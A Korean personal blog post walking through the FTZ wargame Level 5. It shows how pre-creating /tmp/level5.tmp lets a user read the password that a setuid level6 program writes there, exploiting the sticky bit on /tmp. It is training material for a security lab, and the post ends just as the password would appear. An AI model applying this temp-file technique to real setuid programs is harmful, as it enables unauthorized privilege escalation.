Github avatar

GyeongSu Han's Github Pages

FTZ Level5

Oct 09, 2015 · Wargame

[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

이 문제를 tmp폴더의 특성을 이용해 풀이하였다.

[level5@ftz level5]$ ls -dl /tmp
drwxrwxrwt    3 root     root         4096 Oct  9 14:58 /tmp

/tmp폴더를 보게되면 sticky bit가 걸려있는데, 이를 이용해 문제를 풀 수 있다. 다른 사람의 풀이를 보게되면 race condition을 이용하여 해결하였다.

우선 sticky bit의 특성을 살펴보면 모든 권한이 있기 때문에 누구나 이 속에 있는 파일및 폴더를 수정 및 실행할 수 있다.

하지만 stiky bit로 인해 소유자를 제외한 사람은 삭제를 할 수 없다. 물론 root의 경우는 삭제가 가능하다. level5파일을 살펴보자.

[level5@ftz level5]$ ls -l /usr/bin/level5
-rws--x---    1 level6   level5      12236 Sep 10  2011 /usr/bin/level5

level5파일은 level6의 권한으로 실행이 되게 된다. 이 말은 root가 아니므로 다른 사용자가 된다. 다른 사용자의 경우 삭제를 하지 못한다는 뜻이다.

level5의 권한으로 파일을 생성한 후 level6의 권한으로 이 파일을 수정할 수는 있지만, 삭제의 경우 불가능하다.

그러므로 level5파일이 level5.tmp파일에 답을 쓴 후 삭제를 하지 못하므로, 안에 있는 값이 남아있게 된다.

[level5@ftz tmp]$ echo "" >> level5.tmp
[level5@ftz tmp]$ ls -l level5.tmp
-rw-rw-r--    1 level5   level5          1 Oct  9 15:05 level5.tmp
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -l level5.tmp
-rw-rw-r--    1 level5   level5         31 Oct  9 15:05 level5.tmp

이렇게 실행을 하게 되면 파일의 크기가 변경되었음을 알 수 있다.

[level5@ftz tmp]$ cat level5.tmp
next password :